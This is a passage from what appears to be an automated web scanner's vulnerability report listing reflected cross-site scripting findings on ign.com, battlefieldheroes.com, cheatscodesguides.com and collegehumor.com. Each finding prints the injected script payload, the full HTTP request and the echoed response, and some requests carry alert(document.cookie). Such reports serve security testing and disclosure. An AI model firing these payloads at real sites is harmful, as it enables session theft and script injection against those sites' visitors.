Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmb=173446715.1.10.1297040497

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:04:08 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 73606

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
008 Omniture, Inc. More info available at
http://www.omniture.com */

/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="ign:myign:social_register91338<script>alert(1)</script>788c1251308";        /* Page Name */
s.server=location.host;
s.prop1="";
s.prop2="ign";            /* Network */
s.prop3="myign";            /* Channel */
s.prop4="social_register91338<script>
...[SNIP]...

3.551. http://www.battlefieldheroes.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.battlefieldheroes.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab5e8"><script>alert(1)</script>d5ecdd97057 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoab5e8"><script>alert(1)</script>d5ecdd97057 HTTP/1.1
Host: www.battlefieldheroes.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: magma=ft9lf4si3no45me3huhhkq35u2; language=en; hasVisitedLandingPage=1; s_cc=true; s_ria=flash%2010%7Csilverlight%203.0; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:39:00 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
X-Orig-Server: (null)
Content-Type: text/html; charset=utf-8
Content-Length: 12259

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="
...[SNIP]...
<a
href="/favicon.icoab5e8"><script>alert(1)</script>d5ecdd97057">
...[SNIP]...

3.552. http://www.battlefieldheroes.com/frontpage/landingPage [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.battlefieldheroes.com
Path:	/frontpage/landingPage

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1841"><script>alert(1)</script>8157b9d435b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /frontpaged1841"><script>alert(1)</script>8157b9d435b/landingPage HTTP/1.1
Host: www.battlefieldheroes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:01:29 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Set-Cookie: magma=q6eiktgn0d7tllg5nkseakkha3; path=/
Set-Cookie: language=en; expires=Tue, 07-Feb-2012 02:01:29 GMT; path=/
Vary: Accept-Encoding
X-Orig-Server: (null)
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 12302

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="
...[SNIP]...
<a
href="/en/frontpaged1841"><script>alert(1)</script>8157b9d435b/landingPage">
...[SNIP]...

3.553. http://www.battlefieldheroes.com/frontpage/landingPage [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.battlefieldheroes.com
Path:	/frontpage/landingPage

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84d9b"><script>alert(1)</script>abfc0881b92 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /frontpage/landingPage84d9b"><script>alert(1)</script>abfc0881b92 HTTP/1.1
Host: www.battlefieldheroes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:01:30 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Set-Cookie: magma=7iqp6i1jtri39ddgpt5t3hc1u7; path=/
Set-Cookie: language=en; expires=Tue, 07-Feb-2012 02:01:30 GMT; path=/
Vary: Accept-Encoding
X-Orig-Server: (null)
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 12302

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="
...[SNIP]...
<a
href="/en/frontpage/landingPage84d9b"><script>alert(1)</script>abfc0881b92">
...[SNIP]...

3.554. http://www.battlefieldheroes.com/frontpage/landingPage [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.battlefieldheroes.com
Path:	/frontpage/landingPage

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6597c"><script>alert(1)</script>faa6a926d2d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /frontpage/landingPage?6597c"><script>alert(1)</script>faa6a926d2d=1 HTTP/1.1
Host: www.battlefieldheroes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:26 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Set-Cookie: magma=tcuu94op5npd88ndusqelpk6h4; path=/
Set-Cookie: language=en; expires=Tue, 07-Feb-2012 02:01:26 GMT; path=/
Set-Cookie: hasVisitedLandingPage=1; expires=Sun, 01-Sep-2109 02:01:26 GMT; path=/
Vary: Accept-Encoding
X-Orig-Server: (null)
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 9050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<a
href="/en/frontpage/landingPage?6597c"><script>alert(1)</script>faa6a926d2d=1">
...[SNIP]...

3.555. http://www.cheatscodesguides.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cheatscodesguides.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec9c3"><script>alert(1)</script>7f8288c78c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?ec9c3"><script>alert(1)</script>7f8288c78c6=1 HTTP/1.1
Host: www.cheatscodesguides.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:01:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:01:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.cheatscodesguides.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.cheatscodesguides.com
Set-Cookie: NGUserID=a016c04-13836-814772690-2;Path=/;Domain=.cheatscodesguides.com;Expires=Tue, 06-Aug-30 02:01:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.cheatscodesguides.com
Set-Cookie: freq=c-1297044091344v-1n-23mc+1297044091344mv+1mn+23wwe~0;Path=/;Domain=.cheatscodesguides.com
Content-Length: 59272

<html><head>
<link rel="stylesheet" href="http://media.cheatscodesguides.com/ccg/css/ccg.css" type="text/css">
<title>Cheats, Codes and Guides</title>
<meta name="description" content="HUGE colle
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.cheatscodesguides.com/?ec9c3"><script>alert(1)</script>7f8288c78c6=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.556. http://www.cheatscodesguides.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cheatscodesguides.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ebbc4"-alert(1)-"1b555473641 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?ebbc4"-alert(1)-"1b555473641=1 HTTP/1.1
Host: www.cheatscodesguides.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:01:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:01:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.cheatscodesguides.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.cheatscodesguides.com
Set-Cookie: NGUserID=a016c01-3558-1683104702-4;Path=/;Domain=.cheatscodesguides.com;Expires=Tue, 06-Aug-30 02:01:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.cheatscodesguides.com
Set-Cookie: freq=c-1297044092415v-1n-23mc+1297044092415mv+1mn+23wwe~0;Path=/;Domain=.cheatscodesguides.com
Content-Length: 59223

<html><head>
<link rel="stylesheet" href="http://media.cheatscodesguides.com/ccg/css/ccg.css" type="text/css">
<title>Cheats, Codes and Guides</title>
<meta name="description" content="HUGE colle
...[SNIP]...
if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.cheatscodesguides.com/?ebbc4"-alert(1)-"1b555473641=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.557. http://www.collegehumor.com/cutecollegegirl [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/cutecollegegirl

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55fb5'-alert(1)-'8014a443fe0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cutecollegegirl55fb5'-alert(1)-'8014a443fe0 HTTP/1.1
Host: www.collegehumor.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:01:55 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: ch_hash=deleted; expires=Sun, 07-Feb-2010 02:01:54 GMT; path=/; domain=.collegehumor.com
Set-Cookie: ch_hash=d8ffeba10462fe458547071d1e03b64134d9967c; expires=Sat, 06-Feb-2016 02:01:55 GMT; path=/; domain=.collegehumor.com
Set-Cookie: ch_hash=d8ffeba10462fe458547071d1e03b64134d9967c; expires=Sat, 06 Feb 2016 02:01:55 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: returning_user=deleted; expires=Sun, 07-Feb-2010 02:01:54 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Wed, 09-Mar-2011 02:01:55 GMT; path=/; domain=.collegehumor.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 48470

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
var jument = window.jument || {};
jument.cookie.domain = '.collegehumor.com';

var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/cutecollegegirl55fb5'-alert(1)-'8014a443fe0';
ch.this_url_64 = 'aHR0cDovL3d3dy5jb2xsZWdlaHVtb3IuY29tL2N1dGVjb2xsZWdlZ2lybDU1ZmI1Jy1hbGVydCgxKS0nODAxNGE0NDNmZTA=';
ch.home_url = 'http://www.collegehumor.com/';
ch.user_id = false;

...[SNIP]...

3.558. http://www.collegehumor.com/cutecollegegirl [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/cutecollegegirl

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bca04'-alert(1)-'dce0a2be640 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cutecollegegirl?bca04'-alert(1)-'dce0a2be640=1 HTTP/1.1
Host: www.collegehumor.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:35 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: ch_hash=deleted; expires=Sun, 07-Feb-2010 02:01:34 GMT; path=/; domain=.collegehumor.com
Set-Cookie: ch_hash=c2615feabf3aeb832d738048e4b6068ca8bee7f7; expires=Sat, 06-Feb-2016 02:01:35 GMT; path=/; domain=.collegehumor.com
Set-Cookie: ch_hash=c2615feabf3aeb832d738048e4b6068ca8bee7f7; expires=Sat, 06 Feb 2016 02:01:35 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: returning_user=deleted; expires=Sun, 07-Feb-2010 02:01:34 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Wed, 09-Mar-2011 02:01:35 GMT; path=/; domain=.collegehumor.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 35894

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
ar jument = window.jument || {};
jument.cookie.domain = '.collegehumor.com';

var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/cutecollegegirl?bca04'-alert(1)-'dce0a2be640=1';
ch.this_url_64 = 'aHR0cDovL3d3dy5jb2xsZWdlaHVtb3IuY29tL2N1dGVjb2xsZWdlZ2lybD9iY2EwNCctYWxlcnQoMSktJ2RjZTBhMmJlNjQwPTE=';
ch.home_url = 'http://www.collegehumor.com/';
ch.user_id = fals
...[SNIP]...

3.559. http://www.collegehumor.com/etc/load_ad.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/etc/load_ad.php

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec070'-alert(1)-'7d39693fd36 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /etcec070'-alert(1)-'7d39693fd36/load_ad.php?buster=1297046155&id=ad_1&ord=66661422&params=%7B%22zone%22%3A%22pictures_cutecollegegirl%22%2C%22rating%22%3A%22pg%22%2C%22ctype%22%3A%22hplisting%22%2C%22sz%22%3A%224x4%22%2C%22tile%22%3A1%7D HTTP/1.1
Host: www.collegehumor.com
Proxy-Connection: keep-alive
Referer: http://www.collegehumor.com/cutecollegegirl?bca04'-alert(document.cookie)-'dce0a2be640=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; returning_user=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:37:17 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; expires=Sat, 06 Feb 2016 02:37:17 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: returning_user=deleted; expires=Sun, 07-Feb-2010 02:37:16 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Wed, 09-Mar-2011 02:37:17 GMT; path=/; domain=.collegehumor.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 50000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
cript">
var jument = window.jument || {};
jument.cookie.domain = '.collegehumor.com';

var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/etcec070'-alert(1)-'7d39693fd36/load_ad.php?buster=1297046155&id=ad_1&ord=66661422&params=%7B%22zone%22%3A%22pictures_cutecollegegirl%22%2C%22rating%22%3A%22pg%22%2C%22ctype%22%3A%22hplisting%22%2C%22sz%22%3A%224x4%22%2C%22tile%22%3
...[SNIP]...

3.560. http://www.collegehumor.com/etc/load_ad.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/etc/load_ad.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 36559'-alert(1)-'010c4948bce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /etc/load_ad.php36559'-alert(1)-'010c4948bce?buster=1297046155&id=ad_1&ord=66661422&params=%7B%22zone%22%3A%22pictures_cutecollegegirl%22%2C%22rating%22%3A%22pg%22%2C%22ctype%22%3A%22hplisting%22%2C%22sz%22%3A%224x4%22%2C%22tile%22%3A1%7D HTTP/1.1
Host: www.collegehumor.com
Proxy-Connection: keep-alive
Referer: http://www.collegehumor.com/cutecollegegirl?bca04'-alert(document.cookie)-'dce0a2be640=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; returning_user=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:37:27 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; expires=Sat, 06 Feb 2016 02:37:27 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: returning_user=deleted; expires=Sun, 07-Feb-2010 02:37:26 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Wed, 09-Mar-2011 02:37:27 GMT; path=/; domain=.collegehumor.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 49891

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
var jument = window.jument || {};
jument.cookie.domain = '.collegehumor.com';

var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/etc/load_ad.php36559'-alert(1)-'010c4948bce?buster=1297046155&id=ad_1&ord=66661422&params=%7B%22zone%22%3A%22pictures_cutecollegegirl%22%2C%22rating%22%3A%22pg%22%2C%22ctype%22%3A%22hplisting%22%2C%22sz%22%3A%224x4%22%2C%22tile%22%3A1%7D';

...[SNIP]...

3.561. http://www.collegehumor.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62f10'-alert(1)-'8365c9e3650 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /favicon.ico62f10'-alert(1)-'8365c9e3650 HTTP/1.1
Host: www.collegehumor.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; returning_user=1; __utmz=192740536.1297046202.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=192740536.2011367246.1297046202.1297046202.1297046202.1; __utmc=192740536; __utmb=192740536.1.10.1297046202; session_stored=false; __qca=P0-721410943-1297046224980; fbsetting_3f929f54939f3f1e8a73c5d7e59cfe72=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:37:04 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; expires=Sat, 06 Feb 2016 02:37:04 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: returning_user=deleted; expires=Sun, 07-Feb-2010 02:37:03 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Wed, 09-Mar-2011 02:37:04 GMT; path=/; domain=.collegehumor.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 48347

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
var jument = window.jument || {};
jument.cookie.domain = '.collegehumor.com';

var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/favicon.ico62f10'-alert(1)-'8365c9e3650';
ch.this_url_64 = 'aHR0cDovL3d3dy5jb2xsZWdlaHVtb3IuY29tL2Zhdmljb24uaWNvNjJmMTAnLWFsZXJ0KDEpLSc4MzY1YzllMzY1MA==';
ch.home_url = 'http://www.collegehumor.com/';
ch.user_id = false;
ch.
...[SNIP]...

3.562. http://www.collegehumor.com/xd_receiver.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/xd_receiver.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec58c'-alert(1)-'ecfe04c4eba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /xd_receiver.htmec58c'-alert(1)-'ecfe04c4eba HTTP/1.1
Host: www.collegehumor.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/extern/login_status.php?api_key=3f929f54939f3f1e8a73c5d7e59cfe72&extern=0&channel=http%3A%2F%2Fwww.collegehumor.com%2Fxd_receiver.htm&locale=en_US
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; returning_user=1; __utmz=192740536.1297046202.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=192740536.2011367246.1297046202.1297046202.1297046202.1; __utmc=192740536; __utmb=192740536.1.10.1297046202; session_stored=false; __qca=P0-721410943-1297046224980

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:37:02 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
